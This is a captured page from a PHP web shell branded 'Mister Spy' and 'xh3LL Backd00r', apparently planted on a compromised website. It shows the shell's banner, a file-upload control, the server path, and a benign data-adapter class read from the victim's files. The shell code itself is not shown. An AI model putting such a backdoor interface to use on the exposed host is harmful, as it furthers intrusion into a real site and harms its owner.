Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.dataadapter.php

<?php

require_once('class.dataprovider.php');

class DataAdapterColumn implements IDataProviderColumn
{
	private $Name;
	
	public function __construct($Name)
	{
		$this->Name = $Name;	
	}
	
	public function GetName()
	{
		return $this->Name;
	}
	
	public function GetType()
	{
		return false;
	}
	
	public function GetLength()
	{
		return false;
	}
	
	public function GetDecimal()
	{
		return false;
	}
	
}

class DataAdapter implements IDataProvider
{
	private $data;
	private $current;
	private $cols;
	
	public function __construct($arr)
	{
		if (is_array($arr))
			$this->data = array_values($arr);
		else
			$this->data = array();
			
		$this->cols = array();
	}
	
	public function MoveFirst()
	{
		$this->current = 0;
	}
	
	public function MoveNext()
	{
		if ($this->current >= count($this->data))
			return false;
		$this->current++;
	}
	
	public function GetCols()
	{
		if (is_object($this->data[0]))
			$cols = array_keys(get_object_vars($this->data[0]));
		else if (is_array($this->data[0]))
			$cols = array_keys($this->data[0]);
		else
			return false;
		
		$arr = array();	
		foreach ($cols as $col)
			array_push($arr, new DataAdapterColumn($col));

		return $arr;
	}
	
	public function GetRow()
	{
		if (is_object($this->data[$this->current]))
			return get_object_vars($this->data[$this->current]);
			
		if (is_array($this->data[$this->current]))
		{
			$arr = array();
			foreach ($this->GetCols() as $col)
			{
				$value = each($this->data[$this->current]);
				$arr[$col->GetName()] = $value['value'];
			}
			return $arr;
		}
	}
	
	public function Seek($RecordNum)
	{
		if ($RecordNum < 0 || $RecordNum > $this->GetRowsCount())
			return false;
			
		$this->current = $RecordNum;
	}
	
	public function GetRowsCount()
	{
		return count($this->data);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat